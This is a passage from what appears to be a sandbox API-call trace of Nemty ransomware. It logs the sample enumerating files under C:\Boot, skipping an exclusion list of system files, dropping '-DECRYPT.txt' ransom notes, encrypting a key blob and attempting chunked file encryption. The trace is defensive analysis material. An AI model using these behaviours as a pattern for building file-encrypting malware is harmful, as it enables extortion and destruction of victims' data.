ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0043.481] lstrcmpiW (lpString1="da-DK", lpString2=".") returned 1 [0043.481] lstrcmpiW (lpString1="da-DK", lpString2="..") returned 1 [0043.481] lstrcmpiW (lpString1="da-DK", lpString2="...") returned 1 [0043.481] lstrcmpiW (lpString1="da-DK", lpString2="windows") returned -1 [0043.481] lstrcmpiW (lpString1="da-DK", lpString2="$RECYCLE.BIN") returned 1 [0043.481] lstrcmpiW (lpString1="da-DK", lpString2="rsa") returned -1 [0043.481] lstrcmpiW (lpString1="da-DK", lpString2="NTDETECT.COM") returned -1 [0043.481] lstrcmpiW (lpString1="da-DK", lpString2="ntldr") returned -1 [0043.481] lstrcmpiW (lpString1="da-DK", lpString2="MSDOS.SYS") returned -1 [0043.481] lstrcmpiW (lpString1="da-DK", lpString2="IO.SYS") returned -1 [0043.481] lstrcmpiW (lpString1="da-DK", lpString2="boot.ini") returned 1 [0043.481] lstrcmpiW (lpString1="da-DK", lpString2="boot.ini") returned 1 [0043.481] lstrcmpiW (lpString1="da-DK", lpString2="AUTOEXEC.BAT") returned 1 [0043.481] lstrcmpiW (lpString1="da-DK", lpString2="ntuser.dat") returned -1 [0043.482] lstrcmpiW (lpString1="da-DK", lpString2="desktop.ini") returned -1 [0043.482] lstrcmpiW (lpString1="da-DK", lpString2="CONFIG.SYS") returned 1 [0043.482] lstrcmpiW (lpString1="da-DK", lpString2="RECYCLER") returned -1 [0043.482] lstrcmpiW (lpString1="da-DK", lpString2="BOOTSECT.BAK") returned 1 [0043.482] lstrcmpiW (lpString1="da-DK", lpString2="bootmgr") returned 1 [0043.482] lstrcmpiW (lpString1="da-DK", lpString2="programdata") returned -1 [0043.482] lstrcmpiW (lpString1="da-DK", lpString2="appdata") returned 1 [0043.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="da-DK", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0043.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="da-DK", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="da-DK", lpUsedDefaultChar=0x0) returned 5 [0043.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="da-DK", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0043.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="da-DK", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="da-DK", lpUsedDefaultChar=0x0) returned 5 [0043.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0043.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0043.482] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0043.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.482] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9eda8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0043.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0043.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0043.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0043.482] CreateFileW (lpFileName="C:\\Boot\\da-DK\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\da-dk\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0043.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.483] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.483] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0043.484] CloseHandle (hObject=0x3c0) returned 1 [0043.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0043.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0043.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0043.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0043.485] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0043.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0043.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0043.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0043.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0043.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0043.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0043.485] CreateFileW (lpFileName="C:\\Boot\\da-DK\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\da-dk\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0043.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.486] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.486] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0043.486] CloseHandle (hObject=0x3c0) returned 1 [0043.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0043.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0043.487] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcd9da510, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcd9da510, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0043.487] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0043.487] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcd9da510, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcd9da510, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.487] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0043.487] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0043.487] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.487] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0043.487] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0043.487] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0043.487] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0043.487] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0043.487] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0043.487] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0043.487] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0043.487] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0043.487] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0043.487] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0043.487] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0043.487] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0043.488] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0043.488] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0043.488] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0043.488] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0043.488] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0043.488] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0043.488] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0043.488] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0043.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0043.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0043.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0043.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0043.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0043.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0043.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0043.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0043.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0043.488] Sleep (dwMilliseconds=0x5) [0043.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcda00670, dwHighDateTime=0x1d561e7)) [0043.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcda00670, dwHighDateTime=0x1d561e7)) [0043.491] GetLastError () returned 0xb7 [0043.491] SetLastError (dwErrCode=0xb7) [0043.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0043.491] GetLastError () returned 0xb7 [0043.491] SetLastError (dwErrCode=0xb7) [0043.491] GetLastError () returned 0xb7 [0043.491] SetLastError (dwErrCode=0xb7) [0043.491] GetLastError () returned 0xb7 [0043.491] SetLastError (dwErrCode=0xb7) [0043.491] GetLastError () returned 0xb7 [0043.491] SetLastError (dwErrCode=0xb7) [0043.491] GetLastError () returned 0xb7 [0043.491] SetLastError (dwErrCode=0xb7) [0043.491] GetLastError () returned 0xb7 [0043.491] SetLastError (dwErrCode=0xb7) [0043.491] GetLastError () returned 0xb7 [0043.491] SetLastError (dwErrCode=0xb7) [0043.491] GetLastError () returned 0xb7 [0043.491] SetLastError (dwErrCode=0xb7) [0043.491] GetLastError () returned 0xb7 [0043.491] SetLastError (dwErrCode=0xb7) [0043.491] GetLastError () returned 0xb7 [0043.492] SetLastError (dwErrCode=0xb7) [0043.492] GetLastError () returned 0xb7 [0043.492] SetLastError (dwErrCode=0xb7) [0043.492] GetLastError () returned 0xb7 [0043.492] SetLastError (dwErrCode=0xb7) [0043.492] GetLastError () returned 0xb7 [0043.492] SetLastError (dwErrCode=0xb7) [0043.492] GetLastError () returned 0xb7 [0043.492] SetLastError (dwErrCode=0xb7) [0043.492] GetLastError () returned 0xb7 [0043.492] SetLastError (dwErrCode=0xb7) [0043.492] GetLastError () returned 0xb7 [0043.492] SetLastError (dwErrCode=0xb7) [0043.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0043.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0043.492] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0043.492] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0043.492] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0043.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0043.493] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="/NjpW8L8Ark57vZp8WklBIurxNBmIWY1dildchjBXDxy1cOlO/NXUc2+kvorq7jZ\r\nTL/xKBnuBvGFbWLhoZOsa4UsTFGDjOqYGLWGFzVej7wpsJ2E1YOrHi0UT+IFZCBH\r\nTvZxgrFNphTUZNEifZf9rGTVADi4JTfJH2iOC/iDyw+W+xLQWijgNgJFpeMcC3Q/\r\nk1BM6MF9WajnwMr+aebrdXSykYQ8ZMgWjwIKdemYq2vcKtqVhXuLBeBH+xfZqB2b\r\nwyW3MHQLMQINUn5Z8fUBDmQShxIIU/YbA9T6qtcf5fn10cJQ9ApABUqowlqlb+XZ\r\npCuKS5nZVCAXOzZ7rx0aAA==\r\n", pcchString=0x653f2dc) returned 1 [0043.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0043.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0043.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0043.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0043.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0043.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0043.493] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.494] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0043.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0043.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.494] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.504] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.504] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.514] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.514] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.524] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.524] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.534] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.534] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.544] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.544] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.544] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.544] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.554] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.554] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.563] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.563] WriteFile 